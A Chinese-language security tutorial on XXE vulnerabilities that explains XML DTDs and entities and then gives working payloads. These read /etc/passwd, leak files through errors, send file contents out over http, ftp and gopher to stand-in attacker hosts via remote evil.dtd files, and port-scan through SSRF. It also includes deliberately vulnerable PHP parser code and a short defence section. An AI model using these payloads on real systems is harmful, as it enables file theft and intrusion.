XXE漏洞

XML简介

本节内容结合了《Web hacking 101》,链接在本文末尾，此书不错，基于hackerone上的案例编写的。
稍微完善了下本节内容，去起来更为通顺。

元语言是用于描述其它语言的语言，这就是 XML。XML没有预定义的标签。创建 XML 文档的人可以定义它们自己的标签，来描述展示的内容。
一个有效的 XML 文档之所以有效，是因为它遵循了 XML 的通用规则，并且它匹配了它的文档类型定义（DTD全称 document type definition）。
XML DTD就像是所使用的标签的定义文档，并且由 XML 设计者或作者开发。DTD 定义了存在什么标签，它们拥有什么属性，以及其它元素里面有什么元素等等。
基本语法 <!ELEMENT 元素名 类型>
下面是 DTD 文件的样子：

<!ELEMENT Jobs (Job)*> 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> 
<!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0">

XML 文档并不包含标签定义，但可以将 DTD 包含在 XML 文档内。XML的第一行必须是<!DOCTYPE>元素。
组合起来如下：

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
]> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

上面是文档内部DTD的示例。
如果DTD内容太多，全部写入到xml中势必会占用非常大的空间。所以就有了引用外部DTD的存在，而且这样对引用资源所做的任何更改都会在文档中自动更新，非常方便。
外部DTD又分为两类：

1. 当引用的DTD文件是本地文件的时候，用SYSTEM标识，并写上”DTD的文件路径”，如下：<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
2. 如果引用的DTD文件是一个公共的文件时，采用PUBLIC标识，<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

这里略去一堆关于DTD元素的知识点……链接

XML ENTITY(实体)像是一个信息的占位符(变量)。使用!ENTITY可以定义一个实体，让解析器在解析时获取内容并插入到文档中。实体又分为两类：

1. 引用实体，主要在XML文档中被应用，格式<!ENTITY 实体名称 "实体内容">，引用方式：&实体名称;末尾要带上分号，这个引用将直接转变成实体内容。
2. 参数实体，被DTD文件自身使用 ，格式<!ENTITY % 实体名称 "实体内容">，引用方式为：%实体名称。

...
<!ELEMENT Website ANY> 
<!ENTITY url SYSTEM "website.txt"> 
]>
<jobs>
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
        <website>&url;</website> 
    </job> 
</jobs>

添加了Website的!ELEMENT(元素)，而且属性是ANY，这意味着Website可以包含任何可解析的数据组合。
定义了一个!ENTITY，带有SYSTEM类型说明是外部实体，告诉解析器获取website.txt文件的数据。如果在这里把website.txt换成file:///etc/passwd的话……

在XML的解析中包含外部实体时，XXE 攻击就发生了。因为解析器只管解析，而不管这个解析是不是恶意的。

常见攻击方式

有回显的情况下

试验代码

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

这里定义了一个xxe对象，然后在description节点引用。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

服务器会返回以下结果

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

但是如果要读取的文件内容有<> &，被解析器解析出错了怎么办，可以使用<![CDATA[xxxx]]>不让其进行解析。

<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % start "<![CDATA["> 
<!ENTITY % body SYSTEM "file:///tmp/test.txt" >
<!ENTITY % end "]]>">
<!ENTITY xxe "%start;%body;%end;">
]>

注意这里声明的另一种方式% 变量(有空格)，该方式只能在DTD中进行变量引用%变量，而不能在XML中引用。

改为引用远程服务器上的DTD

<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % start "<![CDATA["> 
<!ENTITY % body SYSTEM "file:///tmp/test.txt" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY xxe "%start;%body;%end;">

另外一种方法，利用报错
将含有参数实体的数据传递到另一个文件实体中，以便在访问第二个文件时触发文件未找到的异常，并且将第一个文件的内容作为第二个文件的名字，这样的话，就成功出发了文件未找到异常，也完全返回了第一个文件的内容。
提交

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY % one SYSTEM "http://evil.com/evil.dtd" >
    %one; %two; %four;
]>

evil.dtd

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

不能回显的时候

渗出（外带）利用——将数据主动带出去
并且固定远程DTD地址，就无需频繁修改payload，只需修改DTD内容即可实现不同的攻击。

基于URL的OOB数据泄露只能泄露一行文件内容(因为CRLF会分割URL)。

在java中，http只能读取单行文件。使用ftp 进行 oob 时对版本有限制， <7u141 和 <8u162 才可以读取整个文件。 https://www.leadroyal.cn/?p=914

其他语言尚未测试。
注意：不能直接在参数实体的定义中引用参数实体

http协议

服务端测试代码

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

xxe_file.dtd

<!ENTITY % file SYSTEM php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

远程服务器用nc监听即可看到请求（图略）

但是我还看到另外一种payload
post

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/evil.dtd">
%remote;%int;%send;
]>

evil.dtd，注意这里的&#37 send，%实体转义了。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ATTACKESERVER.com?p=%file;'>">

Java Problems (<1.7)
post

<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/evil.dtd"> %remote; %intern; %trick; ]>

evil.dtd

<!ENTITY % payl SYSTEM "/"><!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://1.3.3.7/?%payl;'>">

http日志会显示GET /?bin%0Aboot%0Adev%0Aetc.... 但是上面两种利用方式，在java中无法正常利用：虽然能获取到dtd文件，但是却没有发送数据。

https://www.tr0y.wang/2019/05/03/XXE%E6%8C%87%E5%8C%97/index.html

因为这是将 payload 执行的结果直接嵌入到 DTD 里去了，我们没法保证 payload 的结果的格式满足 DTD 的要求，所以可能会导致程序报错。

ftp协议

post

<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://xxe.sh/evil.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>

evil.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://xxe.sh:2121/%d;'>"> 

Gopher

https://bugzilla.redhat.com/show_bug.cgi?id=865541#c0

Oracle JDK版本中删除了对gopher方案的支持，后来又支持的最后一个版本是1.7 update 7 和 1.6 update 35（7u9和6u35）。实测6u45已无法使用gopher协议。

post

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE gpx [ 
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> 
%dtd;]>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/xxe?%file;'>">
%all;

端口扫描

如下，服务器会向本机的8080端口发起访问，攻击者根据响应时间判断是否开放端口。SSRF。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

还可以看看这个链接，利用XXE进行SSRF的实例 https://xz.aliyun.com/t/3357

防御方式

xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。因此要去校验DTD(document type definition)中SYSTEM标识符定义的数据，并不容易，也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此，最好的解决办法就是配置XML处理器去使用本地静态的DTD，不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false，XML外部实体攻击就能够被阻止。因此，可将外部实体、参数实体和内联DTD 都被设置为false，从而避免基于XXE漏洞的攻击。

各编程语言都有禁用外部实体的代码。上面的链接已经有PHP JAVA Python的，
我这里补充个.NET的链接：https://blog.csdn.net/starfd/article/details/80936787
JAVA常见xml库的修复方式：https://blog.spoock.com/2018/10/23/java-xxe/

参考：
https://wizardforcel.gitbooks.io/web-hacking-101/content/14.html
http://blog.0kami.cn/2016/06/28/old-xxe/